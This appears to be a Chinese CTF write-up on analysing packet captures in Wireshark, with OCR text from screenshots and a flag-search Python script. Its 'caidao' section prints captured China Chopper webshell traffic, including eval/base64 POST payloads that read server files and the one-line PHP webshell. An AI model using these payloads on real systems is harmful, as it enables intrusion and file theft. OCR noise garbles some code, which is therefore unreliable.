	162 10.211.55.2	52.468546	10.211.55.15	HTTP	506 POST /upload/images/1.php HTTP/1.1 (application/x-www-form-urlencoded)		
	165 10.211.55.15	52.469573	10.211.55.2	HTTP	322 HTTP/1.1 200 OK (text/html)	CSDN @TJA	₩小傲

σ

发现有post提交方式,看这样应该是有什么文件上传漏洞,追踪流看看

ء 🖊	可恶的黑客.pcapng				- 0
文作	+(E) 编辑(E) 视图(Y) 跳转(G)	捕获(<u>C</u>)分析(<u>A</u>)统计(<u>S</u>) =	电话(Y) 无线(W) 工具(T	帮助(日)	
	P 🖸 🕺 🕺 📕 🐨 🕺 🤇	🔶 🔿 🔨 🖌 💆 🜉 🗐		🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 16) · 可恶的黑客.pcapng — 🛛 🛛 🛛	
, t	cp.stream eq 16				Ε
	分组字节流 ~ 宽窄	▽ 🗌 区分大小写	正则表达式 ~		○ 查找
No.	Source	Tine	Destination	webkitFormBoundaryBMP/1004An19V1ou	
	424 10.211.55.2	431.305271	10.211.55.15	Content-Types text/hlain	435046 TSecr=1548708
	423 10.211.55.2	431.305262	10.211.55.15	concent type: cexe/plain	3
	422 10.211.55.15	431.305226	10.211.55.2	f1ag{si11yb0yem	3 [TCP segment of a reas
	421 10.211.55.15	431.305226	10.211.55.2	9;m}	3 [TCP segment of a reas
	420 10.211.55.15	431.305225	10.211.55.2	WebKitFormBoundaryBMPTIeB4An19V1ou	3 [TCP segment of a reas
	419 10.211.55.15	431.305224	10.211.55.2	Content-Disposition: form-data; name="send"	3 [TCP segment of a reas
	353 10.211.55.2	431.288273	10.211.55.15		3
	351 10.211.55.15	431.288227	10.211.55.2	Send file	TCP segment of a reassem
	350 10.211.55.15	431.286462	10.211.55.2	UTTP// 1 200 OK	
	348 10.211.55.2	431.285940	10.211.55.15	Date: Wed, 00 Aug 2017 02:48:00 GMT	
	347 10.211.55.15	431.285892	10.211.55.2	Server: Apache/2.2.16 (Debian)	=1548703 TSecr=780435029
F	346 10.211.55.2	431.285732	10.211.55.15	X-Powered-By: PHP/5.3.3-7+squeeze15	TSecr=0 SACK_PERM=1
	458 10.211.55.15	440.457331	10.211.55.2	X-XSS-Protection: 0	
	456 10.211.55.2	440.456592	10.211.55.15	Vary: Accept-Encoding	
	450 10.211.55.15	434.870629	10.211.55.2	Content-Encoding: gzip	
+	449 10.211.55.2	434.869590	10.211.55.15	Content-Length: 744	
	442 10.211.55.15	431.305484	10.211.55.2	Keep-Alive: timeout=15, max=97	
->	354 10.211.55.2	431.300838	10.211.55.15	Connection: Keep-Alive	
	352 10.211.55.15	431.288233	10.211.55.2	Content-Type: text/ntml	
> 1	rame 354: 439 bytes or	n wire (3512 bits), 439	9 bytes captured (
>	Ethernet II, Src: Paral	llel_00:00:08 (00:1c:4	2:00:00:08), Dst:	. hw.	
>	Internet Protocol Versi	ion 4, Src: 10.211.55.2	2, Dst: 10.211.55.	dcP)q83G	
~	Fransmission Control Pr	rotocol, Src Port: 5559	98, Dst Port: 80,	{ t*+RU.Ptt.cT.Hh".,.d.z@KYP.	
	Source Port: 55598			Y.Iz.jUj]	
	Destination Port: 80			cY.F>n0&.LeY].Kc'h.:J.nhq?.tQW	
	[Stream index: 16]			3wpio0Bm.C.p]	
	[TCP Segment Len: 37	3]		1 2 (1)	
00	00 00 1c 42 a4 95 06 0	00 1c 42 00 00 08 08	00 45 02 ···B·····	整个对话(30kB) · Show data as ASCII · 流信 🗘	
00	10 01 a9 50 08 40 00 4	40 06 00 00 0a d3 37	02 0a d3 ··P·@·@		
00	20 37 Of d9 2e 00 50 d	cf 76 7f 07 ba 6b 91	7d 80 18 7···P·		
00	30 10 00 85 52 00 00 0	01 01 08 0a 2e 84 7e	63 00 17 ···R···	滤掉此流 打印 另存为… 返回 Close Help	
00	40 a1 9t 47 45 54 20 2	21 64 69 72 74 72 61	76 2† 65 GET /		」 CSDN @TJA小傲

解码得到flag

f1ag{si11yb0yemmm}

在这里直接给大家案例一波小福利,代码可以直接用上的

encoding:utf-8 import os import os.path import sys import subprocess

#打印可打印字符串 def str_re(str1): str2="" for i in str1.decode('utf8','ignore'):

```
try:
    #print(ord(i))
    if ord(i) <= 126 and ord(i) >= 33:
        str2 += i
    except:
        str2 += ""
#print(str2)
return str2
```

#写入文本函数

def txt_wt(name,txt1): with open("output.txt","a") as f: f.write('filename:'+name) f.write("\n") f.write("\n")

#第一次运行,清空output文件

def clear_txt(): with open("output bit

with open("output.txt","w") as f: print "clear output.txt! ! ! "

#递归遍历的所有文件

```
def file_bianli():
# 路径设置为当前目录
path = os.getcwd()
# 返回文件下的所有文件列表
file_list = []
for i, j, k in os.walk(path):
    for dd in k:
        if ".py" not in dd and "output.txt" not in dd:
            file_list.append(os.path.join(i, dd))
return file_list
```

#查找文件中可能为flag的字符串

```
def flag(file_list,flag):
for i in file_list:
try:
with open(i,"rb") as f:
for j in f.readlines():
j1=str_re(j)#可打印字符串
#print j1
for k in flag:
if k in j1:
txt_wt(i, j1)
print 'filename:',i
print 'flag:',j1
except:
print 'err'
```

flag_txt = ['flag{', '666c6167','flag','Zmxh','f', '666C6167']

#*清空输出的文本文件* clear_txt() #*遍历文件名* file_lt=file_bianli() #*查找flag关键字* flag(file_lt_flag_txt)

output.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

filename:C:\Users\Administrator\Desktop\2.flag编码\64da5a4a1e024d198dfa307299965t flag:cE[{]*#?\$&'%'wb8*bbMAIN_()%666c61677b37466f4d3253746b6865507a7d\no<<) filename:C:\Users\Administrator\Desktop\2.flag编码\64da5a4a1e024d198dfa307299965t flag:c6+Ek[Jr{*1"L0%'%'b8*bbMAIN_()%666c61677b37466f4d3253746b6865507a7d\j1<<6+) filename:C:\Users\Administrator\Desktop\2.flag编码\64da5a4a1e024d198dfa307299965t flag:BBMAIN_()flag\-{<<)

filename:C:\Users\Administrator\Desktop\2.flag编码\attack_log_analysis.pcap flag:bbBxYiY<<PV)7E(1@?q22=b:PBxYY66)7PVE((@V22=:bPBxYZ<<PV)7E(H@?22=WPBxY[66)7PV filename:C:\Users\Administrator\Desktop\2.flag编码\可恶的黑客.pcapng flag:.4\GET/xm1/example1.php?xm1=%3Ctest%3Ehacker%3C/test%3Eflag.txtHTTP/1.1

filename:C:\Users\Administrator\Desktop\2.flag编码\可恶的黑客.pcapng

flag:Referer:http://10.211.55.15/xml/example1.php?xml=%3Ctest%3Ehacker%3C/test%3E filename:C:\Users\Administrator\Desktop\2.flag编码\可恶的黑客.pcapng

flag:.f1ag{si11yb0y

CSDN @TJA小傲

直接编码或者查看就可以得到flag值即可。

四、压缩包

1、caidao

首先打开文件后发现如界面

🚄 ci	aidao.pcapng					
文件	(E) 编辑(E) 视图(V) 跳转(G)	捕获(C) 分析(A) 统计	(<u>S</u>) 电话(Y) 无线(W) 工具(I)	帮助(<u>H</u>)		<u>A</u>
	🗏 🖉 📕 🗋 🗙 🏹 🥄	← → 🕾 주 🛓 📃 🛛	e e e 🎹			
【应	用显示过滤器 … <ctrl-></ctrl->					
No.	Source	Tine	Destination	Protoco	Length Info	
	5 10.211.55.61	0.184621	192.168.1.145	HTTP	828 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)	
	9 192.168.1.145	0.576743	10.211.55.61	HTTP	340 HTTP/1.1 200 OK (text/html)	
	18 10.211.55.61	21.139025	192.168.1.145	HTTP	766 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)	
	20 192.168.1.145	24,225688	10.211.55.61	HTTP	256 HTTP/1.1 200 OK (text/html)	
	30 10.211.55.61	48.763038	192.168.1.145	HTTP	826 POST /3.php HTTP/1.1 (application/x-www-form-urlencoded)	
	32 192.168.1.145	49.117671	10.211.55.61	HTTP	433 HTTP/1.1 200 OK (text/html)	
Г	1 10.211.55.61	0.000000	192.168.1.145	TCP	66 49366 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM=1	
	2 192.168.1.145	0.184322	10.211.55.61	TCP	62 80 → 49366 [SYN, ACK] Seq=0 Ack=1 Win=32768 Len=0 MSS=1460 WS=2	
	3 10.211.55.61	0.184414	192.168.1.145	ТСР	54 49366 → 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0	
> F	rame 1: 66 bytes on wir	re (528 bits), 66	bytes captured (528 bi	ts) on	interface \Device\NPF {32D3637B-25B5-48CD-82CD-7AFCA851C48A}, id 0	
> E	thernet II, Src: Parall	lel_f4:84:6c (00:1	lc:42:f4:84:6c), Dst: P	arallel	_00:00:18 (00:1c:42:00:00:18)	
> 1	nternet Protocol Versio	on 4, Src: 10.211.	.55.61, Dst: 192.168.1.	145		
> T	ransmission Control Pro	otocol, Src Port:	49366, Dst Port: 80, S	eq: 0,	Len: 0	
000	0 00 1c 42 00 00 18 0	0 1c 42 f4 84 6c	08 00 45 00 ··B·····	B··1··	E.	
001	00 34 3f 6f 40 00 80	0 06 00 00 0a d3	37 3d c0 a8 ·4?o@···	• • • • 7=	**	
002	0 01 91 c0 d6 00 50 d0	094 24 ad 00 00	00 00 80 02 ·····P··	\$		
003	60 ff ff 04 70 00 00 02	2 04 05 b4 01 03	03 08 01 01 ···p····	• • • • • •		
004	04 02		• •			CSDN @TJA小樹

我们首先分析一下http的追踪流的tcp,发现界面如下

🧧 Wireshark · 追踪 TCP 流 (tcp.stream eq 0) · caidao.pcapng

 $\overline{}$

Х

X-Eorwarded-Eor: 241.38.53.25								
Referer: http://192.168.1.145/								
Content-Type: application/x-www-	form-ur	lencode	d					
User-Agent: Mozilla/5.0 (compati	ible: Bai	idusnid	er/2.0): +http	://www.ba	aidu.com/s	search/	
spider.html)		ruuspii		, meep	.,,,		cur chy	
Host: 192 168 1 145								
Content_Length: 774								
Cacha Control: no cacha								
cache-contror, no-cache								
122-appay man("ass" "opt" appay(("ov" "A]		¢vv%2r)\\\"Bo"	"SE6" "/	1 dEc" "Oc		
125-array [map(ass : erc ; array]	(EV • A)		φλλωσι	/// ba	· 510 · 4	+_ult . 00		
$\sqrt{\frac{1}{2}}$	lybalativ	JiMC ToC		fdc1+7	acow1ndCa	wkttnZibo	SERFV/VSUA	
$p_{1} = p_{1} = p_{1$	16201c10	vincipo vdusoa		020776	Nobygille		JAMEAEA3431	4
	n7igkPi	учиура аттумт	C177W	lobygiPV	INCOUSTINCE			
aT21aTm9aUCVvbulzc2)vbiEiKTt07ub				UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU	bobGUOTE/			2
	22738113 2+6616767		'iv^7m]	c7U10aU			VnNacihiVVN	3
1 2 1 1 2 1 2 1 2 1 1 2 1 2 1 1 2 1 1 2 1 1 2 1 1 2 1 1 1 1 1 1 1 1 1 1	COSINIL8	5001 P 21			OUTIVATI			1
cdctulelutlyutithzibAcXNfzclykck		101EAUT	ioiric			DALIIIISZANI	Vohvrenu i	
MOOD in the state of the state	WOEFINT	+9JE4UI	Teloilir Teloilir	\\.\"\.	Ugjewupjr	$(1 \ 1 \ 200 \ 0)$		`
Data: Man 27 Jun 2016 09:47:20		LKAWUUK	15/050	//> \ />)),пте/	1.1 200 (
Date: Non, 27 Juli 2010 08:47:38	UPT 11	2						
V Devened By: DUD (5 2 12	18/0.0.13	>						
Contont Longth, 1575								
Content-Length: 1575								
content-Type: text/ntml								
VAV / 2016 06 27 09:45:29	0	0777						
/ 2010-00-27 08:43:38	0	0777						
510cmc/ 2015-08-09 09.59.05	0	0777						
AccessInj/ 2015-11-19 02.00.08	ש דריס	0///	0777	,				
Accessing/ 2015-00-03 11:55	0	0	0///					
any1ab/ 2010-01-28 07:20:27	0	0///						\sim
分组 8。2 <mark>客户%</mark> 分组,2 服务器 分组,1 turn(s). 点击道	<i>ŧf</i> ŧ.							
整个对话(2820 bytes)		\sim	Show	data as A	SCII	~	流	0
查找:							查找下一个	$(\underline{\mathbb{N}})$

(在这里解释一下,红色的部分是发送包,蓝色的部分是接受部分,对于这个题来说,应该是上传了一个读取文件目录的东西, 接下来继续看剩下两个流)

```
🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 1) · caidao.pcapng
```

```
- 🗆 X
```

```
POST /3.php HTTP/1.1
X-Forwarded-For: 241.38.53.25
Referer: http://192.168.1.145/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/
spider.html)
Host: 192.168.1.145
Content-Length: 412
Cache-Control: no-cache
123=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\
\";@ev"."al(\\\
$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIp00BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPT
jwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9J0M6XFx3d3dyb29
0XFwzLnBocCc7JFA9QGZvcGVuKCRGLCdyJyk7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkU
Ck702VjaG8oIlhAWSIp02RpZSgpOw%3D%3D'));\");"));HTTP/1.1 200 OK
Date: Mon, 27 Jun 2016 08:48:02 GMT
Server: Apache/2.2.22 (Win32) PHP/5.3.13
X-Powered-Rv: PHP/5.3.13
```

Content-Length: 33 Content-Type: text/html				
X@Y php eval(\$_POST[123]);? X@Y				
1 <u>客户端</u> 分组, 1 服务器 分组, 1 turn(s).				
整个对话(914 bytes)	\sim	Show data as ASCII	\sim	流 📘 🍨
查找:				CSD <mark>章越下压介(徽</mark>)

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 2) · caidao.pcapng

POST /3.php HTTP/1.1 X-Forwarded-For: 241.38.53.25 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.1.145/ User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/ spider.html) Host: 192.168.1.145 Content-Length: 472 Cache-Control: no-cache 123=array_map("ass"."ert",array("ev"."Al(\"\\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\ \";@ev"."al(\\\ \$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIp00BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPT jwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9IkM6XFx3d3dyb29 ØXFxmbGFnLnRhci5neiI7JGZwPUBmb3BlbigkRiwncicpO2lmKEBmZ2V0YygkZnApKXtAZmNsb3NlKCRmcCk7QHJlY WRmaWxlKCRGKTt9ZWxzZXtlY2hvKCdFUlJPUjovLyBDYW4gTm90IFJlYWQnKTt902VjaG8oIlhAWSIp02RpZSgpOw% 3D%3D'));\");"));HTTP/1.1 200 OK Date: Mon, 27 Jun 2016 08:48:26 GMT Server: Apache/2.2.22 (Win32) PHP/5.3.13 X-Powered-By: PHP/5.3.13 Content-Length: 209 Content-Type: text/html X@Y....W.pW....Y .0....+....['|. ..w..A.....CHnrd..a./.T...p...{...D.t.>..v...=.u...i.[9...Y..z.G../o..pN..G..r..: .}....?.s..w....c.....R....?..Y.N..*.me...j\$)\$...f,.i....M......x..y..S.(..X@Y 分组 30。1 客户端 分组,1 服务器 分组,1 turn(s). 点击选择。 整个对话(1151 bytes) \sim Show data as ASCII \sim 流 2 查找: 查找下一个(N) 滤掉此流 打印 另存为… 返回 Crosen OT APPR

最后一个流蓝色部分X@Y是菜刀的标志位 然后我们把红色的部分进行解码

QGluaV9zZXQolmRpc3BsYXlfZXJyb3JzliwiMClpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0IPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX 3F1b3Rlc19ydW50aW1IKDApO307ZWNobygiWEBZlik7JEY9lkM6XFx3d3dyb290XFxmbGFnLnRhci5neil7JGZwPUBmb3BlbigkRiwncicpO2 ImKEBmZ2V0YygkZnApKXtAZmNsb3NIKCRmcCk7QHJIYWRmaWxlKCRGKTt9ZWxzZXtIY2hvKCdFUJPUjovLyBDYW4gTm90IFJIYWQnKTt 9O2VjaG8ollhAWSlpO2RpZSgpOw%3D%3D

发现后面有URL编码,所以先进行URL解码在进行操作

QGluaV9zZXQolmRpc3BsYXlfZXJyb3JzliwiMClpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0IPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX 3F1b3Rlc19ydW50aW1IKDApO307ZWNobygiWEBZlik7JEY9lkM6XFx3d3dyb290XFxmbGFnLnRhci5neil7JGZwPUBmb3BlbigkRiwncicpO2 ImKEBmZ2V0YygkZnApKXtAZmNsb3NIKCRmcCk7QHJIYWRmaWxlKCRGKTt9ZWxzZXtIY2hvKCdFUJPUjovLyBDYW4gTm90IFJIYWQnKTt 9O2VjaG8ollhAWSlpO2RpZSgpOw==

发现有一个flag.tar.gz压缩包 然后我们在右键,显示分组字节

		14		0000000	1480	DOD VAIIG VA	1	BOILD OIL ALLA O
🚄 Wireshark · Line-based text data (data-text-lines) · caidao.pcapng	—	- × -	► 30	10.211.55.61	48.763038	192.168.	1.145 HTTP	826 POST /3.php HTTP
		*	- 32	192.168.1.145	49.117671	10.211.5	5.61 HTTP	433 HTTP/1.1 200 OK
X@Y··· w·pW ···Y			- 26	10.211.55.61	44.290623	192.168.	1.145 TCP	66 49368 → 80 [SYN]
·0···.·[' ·			27	10.211.55.61	47.296083	192.168.	1.145 TCP	66 [TCP Retransmiss
$\cdots w \cdots A \cdots \cdots \cdots C Hnrd \cdots a \cdot / \cdot T \cdots p \cdots \{ \cdots D \cdot t \cdot > \cdots v \cdots = \cdot u \cdot a \in \mathbb{C} $	··i·[9···Y··z·G··/o··pN··G··r··:	•}	28	192.168.1.145	48,762795	10.211.5	5.61 TCP	62 80 → 49368 [SYN,
····?·s··w····c···R···?··Y·N··*·me···j\$)\$···f,·i··	••M• x••y••S (X@Y		29	10.211.55.61	48,762873	192.168.	1.145 TCP	54 49368 → 80 [ACK]
			31	192.168.1.145	48,763180	10.211.5	5.61 TCP	60 80 → 49368 [ACK]
			33	10.211.55.61	49.117724	192.168.	1.145 TCP	54 49368 → 80 [ACK]
		<	:					>
			> Hyperte	ext Transfer Prot	ocol			^
			Line-ba	sed text data: t	ext/html (4 lines	5)		
			X@Y\	037 0 \ h \ 000 w 0 n W \	000\003 0 0 V\n	- /		
			A a V	00/ • (0 (000 • • pir ((1 4) n			
			•0(T ▲ /u			
			\016	�w�\026A\024 �•	�\a��CHnrd��a	�/�⊺��p� ^y {€	000t0>00v0	9 ♥=♥u♥ ?i♥[9♥hY♥◀
			●} €	�\035�?�s\037	�w����Åc��\a€	� ₽₽₽₽ ₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽₽	Y\037N�\030*�me	ö�j\$)\$ ��� f,�i�€
								~
		<						>
			0090 33	2e 31 33 0d 0a 5	8 2d 50 6f 77 6	5 72 65 64 2d	3.13 ·· X- Powere	h
第 32, Line-based text data (data-text-lines), 209 学节。			00a0 42	79 3a 20 50 48 5	0 2f 35 2e 33 2	e 31 33 0d 0a	By: PHP/ 5.3.13	
解码为 开	开始 0 ▲ 结束	209	00b0 43	6f 6e 74 65 6e 7	4 2d 4c 65 6e 6	7 74 68 3a 20	Content- Length	
	7174 0 9 34310		00c0 32	30 39 0d 0a 43 6	of 6e 74 65 6e 7	4 2d 54 79 70	209 · · Con tent-T	/p
查找:	查找下	一个(N)	00d0 65	3a 20 74 65 78 7	'4 2f 68 74 6d 6	c 0d 0a 0d 0a	e: text/ html…	••
‡Τ ÉD	复制 另存为··· Close F	Heln	00e0 58	40 59 1f 8b 08 0	00 77 e7 70 57 0	0 03 ed d1 59	X@Y····w ∙рW···	Y CSDN @TJA小傲
1000	X.10 771777 01036 1		AAFA AA	AD DA 14 05 A1 D	in as ab da co b	1 ch 00 da 5h	· · · · · · · · · · · · · · · · · · ·	. F

接下来要把菜刀头还有尾部分都去掉

<pre> w.pWY .0[' . w.ACHnrd.a./.Tp{D.t.>v=.ui.[9Y.z.G/opNG.r: .} ?.s.wcR?.Y.N.*.mej\$)\$f,.iM. x.y.s (</pre>
<i>類 32, Line-based text data (data-text-lines), 209 字节。己显示 203 字节。</i>
解码为 无 🔷 显示为 ASCII 🔷 💙 🚺 🗧 🕹 🗐 🗘 💭 🕹 💭 日本 206 😂
查找: 查找下一个(N)
打印 复制 另存为… CloseDN @THAN分数

🚄 Wireshark · Line-based text data (data-text-lines) · caidao.pcapng	—		\times
··· w·pW ···Y ·0···.+····[' · ··w··A·····CHnrd··a·/·T····p···{··D·t·>··v···=·u···i·[9···Y··z·G··/o··pN	••G••r	···: ·]	}

····?·s··w····c····	Y.N*.mej\$)\$f,.iM.</th <th>x··y··s (</th>	x··y··s (
频 3 <mark>2</mark> , Line-besed text dete (dete-te.	t-lines), 209 字节。 己显示 203 字节。	
解码为 无	ASCII V	开始 3 🗣 结束 206 🗣
查找: Base64		查找下一个(11)
可打印引用 ROT13	打印 复制	另存为··· CloseSDN @ 书外外族

最终得到flag

Wireshark · Line-based text data (data-text-lines) · ca	aidao.pcapng		- 🗆 ×
flag/ 000755 000765 000024 0000000000 127 ustar 00zhangjianxiang flag/flag.txt	34163500 014133 staff	5	000000 000000
000644 000765 000024 0000000045 127 ustar 00zhangjianxiang key{8769fe393f2b998fa6a11afe2bfcd65e}	34157617 015620 staff	0	000000 000000
<i>帧 32, Line-based text data (data-text-lines), 209 字节。 己显示 2</i>	103 字节。		
解码为 L缩 V 显示为 ASCII V			卅始 3 📮 结束 206 🖶
查找:			查找下一个(1)
	打印	复制 另存为…	ClosedN @T.Jpplp.傲

key{8769fe393f2b998fa6a11afe2bfcd65e}

2、test

打开题目后首先先排序,看看http流都有哪些

test.pca	p				-	o ×	
文件(E) 编	辑(E)视图(V)跳转(G)捕获	夹(<u>C</u>) 分析(<u>A</u>) 统计(<u>S</u>) 电	话(Y) 无线(W) 工具(I)	帮助(出)	✤ 振袍上传		
	👄 온 🖸 🖺 🗋 🗧 🖲	🔹 🛎 🗿 🛓 📃 📃 🍳	e e \min		CO PLANALLY N		
应用显示	过滤器 … <ctrl-></ctrl->						
0.	Source	Tine	Destination	Protoco Length Info			^
				former for the second			-

4 192.168.1.2	0.000428	192.168.1.10	HTTP	1032 POST /isg.	.php HTTP/1.1 (app	ication/x-www-form-	urlencoded)			
6 192.168.1.10	0.001816	192.168.1.2	HTTP	380 HTTP/1.1 2	200 OK (text/html) php HTTP/1 1 (app	ication/x-www-form-	(rlencoded)			
16 192.168.1.10	0.051394	192.168.1.2	HTTP	565 HTTP/1.1 2	200 OK (text/html)	.icución/x www.ronm	al relicoucuy			
24 192.168.1.2	9.313924	192.168.1.10	HTTP	810 POST /isg.	.php HTTP/1.1 (app	ication/x-www-form-	urlencoded)			
26 192.168.1.10	9.314896	192.168.1.2	HTTP	309 HTTP/1.1 2	200 OK (text/html)		1 1 1			
34 192.168.1.2	14.545549	192.168.1.10	нттр	811 POST /1sg.	.pnp HIIP/1.1 (app. 200 OK (text/html)	.1cation/x-www-form-	uriencoded)			
1 192.168.1.2	0.000000	192.168.1.10	TCP	62 1218 → 80	[SYN] Seq=0 Win=163	84 Len=0 MSS=1460 S	ACK PERM=1			
2 192.168.1.10	0.000207	192.168.1.2	TCP	62 80 → 1218	[SYN, ACK] Seq=0 Ad	k=1 Win=14600 Len=0	MSS=1460 SACK_PERM=1			
3 192.168.1.2	0.000248	192.168.1.10	TCP	54 1218 → 80	[ACK] Seq=1 Ack=1 W	lin=17520 Len=0				
5 192.168.1.10	0.000552	192.168.1.2	TCP	$60\ 80 \rightarrow 1218$	[ACK] Seq=1 Ack=979) Win=15648 Len=0	on-0			
8 192.168.1.2	0.001904	192.168.1.10	TCP	54 1218 → 80	[ACK] Seq=979 Ack=	28 Win=17194 Len=0	211-0			
9 192.168.1.2	0.001946	192.168.1.10	тср	54 1218 → 80	[FIN, ACK] Seq=979	Ack=328 Win=17194 L	en=0			
10 192.168.1.10	0.002022	192.168.1.2	TCP	60 80 → 1218	[ACK] Seq=328 Ack=9	80 Win=15648 Len=0				
11 192.168.1.2	0.047331	192.168.1.10	TCP	62 1219 → 80	[SYN] Seq=0 Win=163	84 Len=0 MSS=1460 S	ACK_PERM=1			
13 192.168.1.2	0.047534	192.168.1.10	ТСР	54 1219 → 80	[ACK] Seq=1 Ack=1 V	lin=17520 Len=0	M33-1400 SACK_PERM-1			
15 192.168.1.10	0.047873	192.168.1.2	TCP	60 80 → 1219	[ACK] Seq=1 Ack=102	1 Win=16320 Len=0				
17 192.168.1.10	0.051433	192.168.1.2	TCP	60 80 → 1219	[FIN, ACK] Seq=512	Ack=1021 Win=16320	Len=0			
18 192.168.1.2	0.051499	192.168.1.10	TCP	54 1219 → 80	[ACK] Seq=1021 Ack	513 Win=17009 Len=0	0			
20 192,168,1,2	0.051550	192,168,1,10	ТСР	$54 1219 \rightarrow 80$ $60.80 \rightarrow 1219$	[ACK] Seq=513 Ack=	022 Win=16320 Len=0	Len=0			
Ename 31: 62 bytes on w	ure (496 bits) 63	bytes cantured (496	hite)	00 00 7 1217	[Ack] Seq-SIS Ack-	022 WIN-10520 ECH-0				â
¹⁰³⁰ ^{40 00 d1 d8 00 00 d}	^{52 04} 05 b4 01 01 后tcp流都有f	e4 e2 @····· 十么							CSDN (@TJA小傲
 Wireshark • ;	追踪 TCP 流 (tcp.stream eq	3) · te	st.pcap				_		×
X-Forwarde Content-Ty Referer: h User-Agent Host: 192. Content-Le Connection	d-For: 10 pe: appli ttp://192 : Mozilla 168.1.10 ngth: 470 : Close	.197.194.7 cation/x-w .168.1.10/ /4.0 (comp	6 ww-fo atib]	orm-urler e; MSIE	ncoded 6.0; Wind	ows NT 5.:	1)			
ISG2014=%4 lfZXJyb3Jz 80Ii0%2BfC UE9TVFsiej bGU0JEYp03 %2Fvar%2Fw Date: Sun, Server: Ap	0eval%01% IiwiMCIpO IpOzskRj1 EiXTskZnA 1lbHNle2V ww%2Fhtml 07 Sep 2 ache/2.2.	28base64_d 0BzZXRfdGl nZXRfbWFna 9QGZvcGVuK jaG8oIkVS %2Fx.tar.g 014 16:34: 15 (CentOS	ecode tZV9s WNfc) CRCLC CRC CR	28%28%24_F GaW1pdCgv KVvdGVzX2 CJyIik7av SvIENhbi 2/1.1 200 TT	POST%5Bz0% wKTtAc2V0X 2dwYygpP3N wYoQGZnZXF iBOb3QgUmV 0 OK	55D%29%29%3 21hZ2ljX3 00cmlwc2xh0 jKCRmcCkp0 hZCIpO3073	3B&zØ=0GluaV 51b3Rlc19ydk 2hlcygkX1BF 20BmY2xvc2Uc ZWNobygifDwt	9zZXQoImF 50aW11KD4 9U1RbInox1 9JGZwKTtAc 1ik7ZG11k	Rpc3BsYja ApO2Vja IlØpOiR cmVhZGZ (Ck7&z1	x G f P =
X-Powered-	By: PHP/5	.3.3	5+##	2						~
整个对话(1153	3 bytes)	,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	7-11 ar 1 <u>29</u> 7 1	~	Show dat	a as ASCII	~		流	3 👤
查找:									查找下一个	(\underline{N})
				滤掉此流	打印	另存为…	返回	Closed	@THAh	小傲

发现有一个压缩包,直接看这个数据分组字节流

📕 te	st.pcap					_	o ×
文件	(E) 编辑(E) 视图(V) 跳转(G)	捕获(<u>C</u>) 分析(<u>A</u>) 多	标计(S) 电话(Y) 无线(W) 工具(I)	帮助(日)			
	I 🖉 🛞 📜 🗋 🕱 🏹 🤇	← ⇒ ≅ ∓ ±]	<u>.</u>			1913FTT14	
tc	p.stream eq 3						+ 💌 🔜 🖌
No.	Source	Tine	Destination	Protoco	Length Info		
->	34 192.168.1.2	14.545549	192.168.1.10	HTTP	811 POST /isg.php HTTP/1.1 (application/x-www-form-urlencoded)		
<	36 192.168.1.10	14.546455	192.168.1.2	HTTP	450 HTTP/1.1 200 OK (text/html)		
Г	31 192.168.1.2	14.545089	192.168.1.10	TCP	62 1221 → 80 [SYN] Seq=0 Win=16384 Len=0 MSS=1460 SACK_PERM=1		
	32 192.168.1.10	14.545295	192.168.1.2	TCP	62 80 → 1221 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1460 SACK_PERM=1		
	33 192.168.1.2	14.545332	192.168 🖉 Wiresha	rk · Line-bas	sed text data (data-text-lines) · test.pcap – 🗆 🗙		
	35 192.168.1.10	14.545652	192.10				
	37 192.168.1.2 /	14.547150	192.168 -> ····	. т			
	38 192.168.1.10	14.552209	192.10 .0	··&·s··R	ιp····D[,···		
	39 192.168.1.2	14.552239	192	•••g9•w••].		
				·y···4·_	9···I··O·a··E4·d···b·1c··i···m·····X···:i···m·Uy·····Q·+·j·6f··F····k·		
			0=	(<			
			-				
	[Window size scaling	tactor: -2 (no	window scaling				^
1	Charkenm, Ov830a lin	Vorition					

<pre>[Checksum: 0x050e [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 > [SEQ/ACK analysis] ~ [Timestamps] [Time since first frame in this TCP stream: 0.00 [Time since previous frame in this TCP stream: 0.00 [TCP payload (396 bytes) > Hypertext Transfer Protocol</pre>			
> Line-based text data: text/html (4 lines)	1 36 Line-based text data (data-text-lines), 180 75.	J	
0100 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 2d 3e 0110 7c 1f 8b 08 00 32 85 0c 54 00 03 ed cf bd 0a c2	解码为 无	开始 0 € 结束 180 € 塗找下一个(10)	×
